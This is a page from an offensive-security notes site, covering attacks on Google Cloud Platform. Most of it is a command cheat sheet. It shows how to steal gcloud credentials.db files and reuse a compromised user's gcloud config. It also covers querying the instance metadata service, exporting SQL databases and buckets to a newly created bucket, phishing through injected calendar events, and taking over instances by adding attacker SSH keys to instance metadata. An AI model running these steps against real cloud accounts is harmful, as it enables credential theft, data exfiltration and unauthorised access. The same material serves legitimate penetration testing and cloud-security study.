Hacker's Notes
search
⌘Ctrlk
The Hacker's Notes
Hacker's Notes
  • THE HACKER'S NOTES
  • Fundamentals
    • Learning Process
    • Computer Fundamentals
    • Network Fundamentals
    • Unix Fundamentals
    • Hacking Fundamentals
  • Pentesting Cheatsheets
    • Pentesting Cheatsheets
    • SQL Injection & XSS Playground
  • offensive security
    • Red Team Infrastructure
    • MITRE ATT&CK
    • Initial Access
    • Code Execution
    • Code & Process Injection
    • Defense Evasion
    • Enumeration and Discovery
    • Privilege Escalation
    • Credential Access & Dumping
    • Lateral Movement
    • Persistence
    • Exfiltration
  • Active Directory
    • Active Directory & Kerberos Abuse
  • Reversing, forensics & misc
    • Internals
    • AWS Accounts, Users, Groups, Roles, Policies
    • Neo4j
    • Dump Virtual Box Memory
    • AES Encryption Using Crypto++
    • Reversing Password
  • HACKING MANUEL
    • Hacking Methodology
    • Pentesting Web checklist
  • RECONNAISSANCE
    • OSINT
    • Public info gathering
    • Basic recon
    • Root domains
    • Subdomain Enum
    • DNS (Domain Name Systems) Pentesting
    • MDNS (Multicast DNS) Pentesting
    • Port Scan
    • Network Scanning
    • Host Scanning
    • Packet Scanning
    • Find Leaked API Keys
    • Email Analysis
    • Webs recon
    • Web Basic Pentesting
    • Windows Forensics
    • Active Directory Pentesting
    • AD CS (Active Directory Certificate Services) Pentesting
    • Cloud Info Gathering
    • Dark-Web Search
    • Social Engineering
  • Enumeration
    • 🟢Information Gathering
    • Files
    • SSL/TLS
    • Ports
    • WEB App Technologies
    • Unix Enum
    • Windows Enum
  • Exploitation
    • 🟢Pre-Exploitation
    • 🟢Exploitation
    • WEB App Attacks
    • Payloads
    • Reverse Shells
    • File transfer
    • Unix Exploit
    • Window Exploit
  • Privilege Escalation
    • 🟢Post-Exploitation
    • Linux Priv Esca
    • Unix Priv Esca
    • Window Priv Esca
  • PIVOTING/LATERAL MOVEMENT
    • 🟢Lateral Movement
    • 🟢Pivoting
    • Unix Piv/Lateral
    • Pivoting in Linux
    • Window Piv/Lateral
  • DATA EXFILTRATION
    • Unix Data Exfilt
    • Backdoors in Linux
    • Window Data Exfilt
  • PERSISTENCE
    • Unix Persist
    • Cover Your Tracks in Linux
    • Window Persist
  • NETWORK HACKING
    • Apache Hadoop Pentesting
    • ARP (Address Resolution Protocol) Spoofing
    • EthernetIP Pentesting
    • FastCGI Pentesting
    • Firewall
    • GRPC Pentesting
    • ReDoS (Regular Expression Denial of Service)
    • Rsync Pentesting
    • Protocols
  • WIRELESS HACKING
    • Wifi Enum
    • Wifi Exploit
    • Wifi Priv
    • Bluetooth
    • VPN
    • Audio/Tv Hacking
  • EMAIL HACKING
    • IMAP Pentesting
    • POP Pentesting
    • Receive Email as Another Address
    • SMTP Pentesting
  • DATABASE HACKING
    • CouchDB Pentesting
    • InfluxDB Pentesting
    • MongoDB Pentesting
    • MSSQL (Microsoft SQL) Pentesting
    • MySQL Pentesting
    • Neo4j Pentesting
    • PostgreSQL Pentesting
    • Redis Pentesting
    • SQLite Pentesting
  • CLOUD HACKING
    • General
    • AWS
    • Azure
    • GCP
    • CDN - Comain Fronting
    • Docker && Kubernetes
    • Virtual Machine
    • Git Pentesting
    • Gitea Pentesting
    • Gogs Pentesting
  • AI HACKING
    • AI Prompt Injection
    • Attack_techniques
    • Attack_evasions
    • Attack_intents
    • Ai_enabled_app_defense_checklist
    • Ai_sec_questionnaire
    • Ai_threat_model_questions
    • LLM/AI/ML/prompt testing
  • MACHINE LEARNING HACKS
    • Jupyter Notebook Pentesting
    • Orange Data Mining
    • Read HDF5 (H5) File
    • Read PT File
    • Read PT File
    • Computer Vision
    • Data Processing
    • Create Malicious ML Model
  • CODE HACKING
    • Code review
    • Sinks
  • MOBILE HACKING
    • General
    • Android
    • iOS
  • BLOCKCHAIN HACKING
    • Ethereum
    • Attack Methodology
  • CRYPTOGRAPHY HACKING
    • Cryptography Basic
    • Password Safe Pentesting
    • PowerShell Credentials
    • John the Ripper
    • Algorithim Pentesting
    • Key Derivation
    • Math
  • IOT HACKING
    • Printer Pentesting
    • IPP (Internet Printing Protocol) Pentesting
  • HARDWARE HACKING
    • Flipper Zero
    • Firmware Analysis
    • Gerber (GBR) Files
    • MQTT Pentesting
    • NETGEAR Pentesting
    • SAL Logic Analysis
  • WRITEUPS
    • THM Walkthroughs
    • HTB Walkthroughs
    • OSCP Preparation
    • CRTP Prepration
    • Labs writeups
    • Blogs/Gitbooks Links
    • Portswigger writeups
  • BugBounty
    • BugBounty Methodology
    • BugBounty Resources
  • Tools
    • Privacy
    • Steganography
    • Password cracking
    • Windows Tools
    • Burp Suite
    • Scripting
    • Red Team Resources
    • Hacking Tools
    • Internal Pentest
    • Report template
    • Random
    • Wireshark Cheat Sheet
    • Tshark Cheat Sheet
    • Master assessment mindmaps
    • Convert PuTTY Key to OpenSSH Key
    • Decrypt SolarPuTTY Sessions Files
gitbookPowered by GitBook
block-quoteOn this pagechevron-down
githubEdit
  1. CLOUD HACKING

GCP

hashtag
GCP

Logoslashparity.com is for sale! Check it out on ExpiredDomains.comExpiredDomains.comchevron-right

hashtag
General

hashtag
Enumeration

hashtag
Attacks

hashtag
Tools

LogoGitHub - prowler-cloud/prowler: Prowler is the world’s most widely used open-source cloud security platform that automates security and compliance across any cloud environment.GitHubchevron-right

prowler gcp

hashtag
check for the most important checks in terms of severity

prowler gcp --severity critical high

PreviousAzurechevron-leftNextCDN - Comain Frontingchevron-right

Last updated 2 months ago

  • GCP
  • check for the most important checks in terms of severity
**Tools**
# PurplePanda https://github.com/carlospolop/PurplePanda
# Hayat https://github.com/DenizParlak/hayat
# GCPBucketBrute https://github.com/RhinoSecurityLabs/GCPBucketBrute
# GCP IAM https://github.com/marcin-kolda/gcp-iam-collector
# GCP Firewall Enum: https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_firewall_enum
# Prowler https://github.com/prowler-cloud/prowler

Auth methods:
• Web Access
• API – OAuth 2.0 protocol
• Access tokens – short lived access tokens for service accounts
• JSON Key Files – Long-lived key-pairs
• Credentials can be federated

Recon:
• G-Suite Usage
   ◇ Try authenticating with a valid company email address at Gmail

Google Storage Buckets:
• Google Cloud Platform also has a storage service called “Buckets”
• Cloud_enum from Chris Moberly (@initstring) https://github.com/initstring/cloud_enum
   ◇ Awesome tool for scanning all three cloud services for buckets and more
      ▪ Enumerates:
         - GCP open and protected buckets as well as Google App Engine sites
         - Azure storage accounts, blob containers, hosted DBs, VMs, and WebApps
         - AWS open and protected buckets

Phising G-Suite:
• Calendar Event Injection
• Silently injects events to target calendars
• No email required
• Google API allows to mark as accepted
• Bypasses the “don’t auto-add” setting
• Creates urgency w/ reminder notification
• Include link to phishing page

Steal Access Tokens:
• Google JSON Tokens and credentials.db
• JSON tokens typically used for service account access to GCP
• If a user authenticates with gcloud from an instance their creds get stored here:
    ~/.config/gcloud/credentials.db
    sudo find /home -name "credentials.db"
• JSON can be used to authenticate with gcloud and ScoutSuite

Post-compromise
• Cloud Storage, Compute, SQL, Resource manager, IAM
• ScoutSuite from NCC group https://github.com/nccgroup/ScoutSuite
• Tool for auditing multiple different cloud security providers
• Create Google JSON token to auth as service account
# Authentication with gcloud and retrieve info
gcloud auth login
gcloud auth activate-service-account --key-file creds.json
gcloud auth activate-service-account --project=<projectid> --key-file=filename.json
gcloud auth list
gcloud init
gcloud config configurations activate stolenkeys
gcloud config list
gcloud organizations list
gcloud organizations get-iam-policy <org ID>
gcloud projects get-iam-policy <project ID>
gcloud iam roles list  --project=<project ID>
gcloud beta asset search-all-iam-policies --query policy:"projects/xxxxxxxx/roles/CustomRole436" --project=xxxxxxxx
gcloud projects list
gcloud config set project <project name>
gcloud services list
gcloud projects list
gcloud config set project [Project-Id]
gcloud source repos list
gcloud source repos clone <repo_name>

# Virtual Machines
gcloud compute instances list
gcloud compute instances list --impersonate-service-account AccountName
gcloud compute instances list --configuration=stolenkeys
gcloud compute instances describe <instance id>
gcloud compute instances describe <InstanceName> --zone=ZoneName --format=json | jq -c '.serviceAccounts[].scopes[]'
gcloud beta compute ssh --zone "<region>" "<instance name>" --project "<project name>"
# Puts public ssh key onto metadata service for project
gcloud compute ssh <local host>
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H &#39;Metadata-Flavor:Google’
# Use Google keyring to decrypt encrypted data
gcloud kms decrypt --ciphertext-file=encrypted-file.enc --plaintext-file=out.txt --key <crypto-key> --keyring <crypto-keyring> --location global

# Storage Buckets
List Google Storage buckets
gsutil ls
gsutil ls -r gs://<bucket name>
gsutil cat gs://bucket-name/anyobject
gsutil cp gs://bucketid/item ~/

# Webapps & SQL
gcloud app instances list
gcloud sql instances list
gcloud spanner instances list
gcloud bigtable instances list
gcloud sql databases list --instance <instance ID>
gcloud spanner databases list --instance <instance name>

# Export SQL databases and buckets
# First copy buckets to local directory
gsutil cp gs://bucket-name/folder/ .
# Create a new storage bucket, change perms, export SQL DB
gsutil mb gs://<googlestoragename>
gsutil acl ch -u <service account> gs://<googlestoragename>
gcloud sql export sql <sql instance name> gs://<googlestoragename>/sqldump.gz --database=<database name>

# Networking
gcloud compute networks list
gcloud compute networks subnets list
gcloud compute vpn-tunnels list
gcloud compute interconnects list
gcloud compute firewall-rules list
gcloud compute firewall-rules describe <rulename>

# Containers
gcloud container clusters list
# GCP Kubernetes config file ~/.kube/config gets generated when you are authenticated with
gcloud container clusters get-credentials <cluster name> --region <region>
kubectl cluster-info

# Serverless (Lambda functions)
gcloud functions list
gcloud functions describe <function name>
gcloud functions logs read <function name> --limit <number of lines>
# Gcloud stores creds in ~/.config/gcloud/credentials.db Search home directories
sudo find /home -name "credentials.db
# Copy gcloud dir to your own home directory to auth as the compromised user
sudo cp -r /home/username/.config/gcloud ~/.config
sudo chown -R currentuser:currentuser ~/.config/gcloud
gcloud auth list

# Databases
gcloud sql databases list
gcloud sql backups list --instance=test

# Metadata Service URL
# metadata.google.internal = 169.254.169.254
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H
"Metadata-Flavor: Google"

# Interesting metadata instance urls:
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id

# Get access scope
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'

# Get snapshot from instance and create instance from it
gcloud compute snapshots list
gcloud compute instances create instance-2 --source-snapshot=snapshot-1 --zone=us-central1-a
# Check ssh keys attached to instance
gcloud compute instances describe instance-1 --zone=us-central1-a --format=json | jq '.metadata.items[].value'
# Check for "privilegeduser:ssh-rsa" and generate ssh keys with same username and paste in file
ssh-keygen -t rsa -C "privilegeduser" -f ./underprivuser 
# Something like:
privilegeduser:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFGrK8V2k0xBeSzN+oUgnRLSIgUED7ayeUJJ10ryEFR0xJbFeGsRAL5LUzw1DTT9gRKmcMTjmZNU3E99bwyytV0fLnGVRIZ63oC8IdTESR0g8EnU6yam/ntq6gZF5QRcES3gaZlnssOQQhw0rvcCB7o5oM1zCDQtgJXAu/2UI6yKf3xdlcHdrULbKTR+0c7r2FWMLgdghGsA+yH3leHJWjDE/WJ1mqf+ZE+RvwLZ8TmVFJmI37xoKEeVnkmOrOe/TMYvtuzSQduHEUhhfjB8YPUYH7dGHyVPlRp/0Hsrjauf5//zNN9dyAZisElgF7CnJmtJVizfDxlXd/nwrVC8nf2xzbi8nc24STfTg3+lR1f73Z5xN9waPl3eHMNy7nXvShxSO01ZwwuyTmjNh83ik1PJjNU= privilegeduser
privilegeduser:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDnLriKvJcwZ2eRUbYpy7ZiZrZub+ZblHgKhATPnRjEXK7Q5U3vOFutCeMavxQ82yIwne6b6LzDAfKeS6wlez1ll2npGhKpb8mAM+ZIKxdTAoAhenOlLlmMyYHhJs/UjkTtj7TZDIEa/uZjZgClK5fmgkYjprsRbPOtAru8fBAOAWfMtrXYFmUJy94iMIvYpRuUPTZ0XUkzmyETNspZOwoOd+K2yTmFor4mWIgTzbaeAtJA+b+nQmXM1Ya1RfalpQsomXnkhqihh/wmqJMDGIJT1YgepMxbj4wy5WyUlE4Ub+/Wh7Lyu51jaRJ++FYh/pgb3m3d8t7B6b2Jj7ldxicQSPu6Mc9TZ5QrPx91dOe/Mzmte2kW7AF8xXo+Se71Ffc5csupUo62uyeXt12F+qNiqHeJXSomxck7rRwonnUhyNJ2icCPogsbDNDjHvdXmGsrXNFU= privilegeduser
# Upload the file with the 2 keys and access to the instance
gcloud compute instances add-metadata instance-1 --metadata-from-file ssh-keys=keys.txt --zone us-central1-a
ssh -i underprivuser privilegeduser@xx.xx.xx.xx

# Re-authentication the account keys
# Find keys in instance
cd /home/<username>/.config/gcloud
cat credentials.db
# Copy the credentials, make a new json file inside your computer and paste it.
gcloud auth activate-service-account --key-file <file>.json
# Now can access API